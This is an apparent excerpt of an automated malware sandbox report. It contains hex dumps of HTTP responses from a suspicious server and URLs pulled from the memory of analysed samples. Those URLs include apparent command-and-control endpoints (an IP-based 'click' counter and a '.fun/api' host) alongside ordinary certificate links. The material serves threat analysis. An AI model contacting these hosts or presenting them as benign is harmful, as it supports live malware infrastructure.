Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b 60 89 63 19 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f e8 92 24 22 4a c5 03 db 8f a1 61 7e de f5 fd 89 19 17 7e 4f af 9a a5 04 cc a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f5 96 be 25 51 61 9f d4 3e 7c 88 28 c8 48 6b 21 89 4a 9a 07 fd ec 97 1b 7c ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 8d 2d c9 4f 5f 79 82 ae 9c 37 45 4c ed 8a ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 00 53 fc 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 a2 77 fa 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 c4 47 40 e3 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 f3 a6 b2 1b 6f d3 cb 29 32 02 e2 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 b9 a9 1f e4 a6 3d 15 9f 10 f7 d9 b0 99 29 9c 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb e1 7d 55 28 d2 3e 43 1f d0 bb aa 7a 8f 8a 6e e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b9 94 65 5c dc e5 7e d5 7a 71 d4 03 4b eb 98 76 b0 0e ca 82 59 20 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 65 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1b 81 01 c7 5b cb f7 07 a6 3b bf 29 46 16 31 e4 76 4b 6d 82 5c 2c 13 37 c1 a5 94 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eUys/~(`:[;)F1vKm\,70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 34 39 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 f7 75 3a 52 86 19 c1 5d de fa 09 b4 20 fd 26 4c 17 34 ff 6b 4b 36 d4 00 2a 5f 2e d3 af 87 ed 8d 73 95 64 7e 0b 69 e3 b4 e8 fa 58 6e 96 77 7b b8 da 85 39 bf 06 26 fb 43 9d 0d 0a 30 0d 0a 0d 0a Data Ascii: 49Uys/~(u:R] &L4kK6*_.sd~iXnw{9&C0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 33 35 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1e 87 14 d0 59 9c fe 09 b7 3a e5 3f 57 5b 38 be 65 0b 69 c3 57 3b 0f 7c c3 e2 90 a9 d6 71 8a 63 32 5d 0d 0a 30 0d 0a 0d 0a Data Ascii: 35Uys/~(`:Y:?W[8eiW;\|qc2]0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:22:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:23:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:24:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:24:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:24:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:24:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:24:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:24:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:25:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:25:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:25:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 19 Dec 2023 02:25:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Source: PRingTone.exe, 0000002A.00000002.4106964087.000000000076A000.00000004.00000020.00020000.00000000.sdmp, PRingTone.exe, 0000002A.00000002.4106964087.0000000000707000.00000004.00000020.00020000.00000000.sdmp, PRingTone.exe, 0000002A.00000002.4106964087.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.22/click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde243
Source: PRingTone.exe, 0000002A.00000002.4106964087.000000000076A000.00000004.00000020.00020000.00000000.sdmp, PRingTone.exe, 0000002A.00000002.4106964087.0000000000707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.22/click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62dde243
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: explorer.exe, 00000001.00000000.1691646439.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693759664.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0
Source: C1FD.exe, 00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.g
Source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: C1FD.exe, 00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: explorer.exe, 00000001.00000000.1691646439.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693759664.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: explorer.exe, 00000001.00000000.1691646439.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693759664.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl0
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: 826E.exe, 00000008.00000002.2919415852.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun/api
Source: 826E.exe, 00000008.00000002.2919415852.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun/api5
